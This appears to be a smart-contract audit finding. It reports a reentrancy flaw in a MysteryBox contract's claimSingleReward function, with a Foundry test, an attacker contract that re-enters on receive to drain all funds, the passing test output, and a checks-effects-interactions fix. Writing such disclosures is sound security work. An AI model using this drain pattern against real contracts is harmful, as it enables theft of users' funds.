There is a reentrancy vulnerability in claimSingleReward function and an attacker can use this to get all the funds available in the contract.
This function allows to withdraw the amount and then delete the record.
contract MysteryBoxTest is Test {
MysteryBox public mysteryBox;
address public owner;
address public user1;
address public user2;
function setUp() public {
owner = makeAddr("owner");
vm.deal(owner, 0.1 ether);
user1 = address(0x1);
user2 = address(0x2);
vm.prank(owner);
mysteryBox = (new MysteryBox){value: 0.1 ether}();
}
function testReentrancyExploit() public {
vm.deal(user1, 0.5 ether);
for (uint256 i = 0; i < 5; i++) {
vm.prank(user1);
mysteryBox.buyBox{value: 0.1 ether}();
vm.prank(user1);
mysteryBox.openBox();
}
ReentrancyAttacker attackerContract = new ReentrancyAttacker(address(mysteryBox));
vm.deal(address(attackerContract), 0.1 ether);
console.log("MysteryBox Balance Before Attack:", address(mysteryBox).balance);
console.log("Attacker Balance Before Attack:", address(attackerContract).balance);
vm.warp(666);
vm.prank(address(attacker));
attackerContract.attack();
console.log("MysteryBox Balance After:", address(mysteryBox).balance);
console.log("Attacker Balance Before Attack:", address(attackerContract).balance);
assertEq(address(mysteryBox).balance, 0);
}
}
contract ReentrancyAttacker {
MysteryBox mysteryBox;
address owner;
constructor(address _mysteryBox) {
mysteryBox = MysteryBox(_mysteryBox);
owner = msg.sender;
}
function attack() public {
mysteryBox.buyBox{value: 0.1 ether}();
mysteryBox.openBox();
mysteryBox.claimSingleReward(0);
}
receive() external payable {
if (address(mysteryBox).balance >= 0.1 ether) {
mysteryBox.claimSingleReward(0);
}
}
fallback() external payable {}
}
forge test --match-test testReentrancyExploit -vvv\
\[⠊] Compiling...\
No files changed, compilation skipped
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest\
\[PASS] testReentrancyExploit() (gas: 538149)\
Logs:\
MysteryBox Balance Before Attack: 600000000000000000\
Attacker Balance Before Attack: 100000000000000000\
MysteryBox Balance After: 0\
Attacker Balance Before Attack: 700000000000000000
Use any library to avoid reentrancy or use CEI checks effects interactions to avoid reentrancy.
using CEI, update the states before transfer of any ether.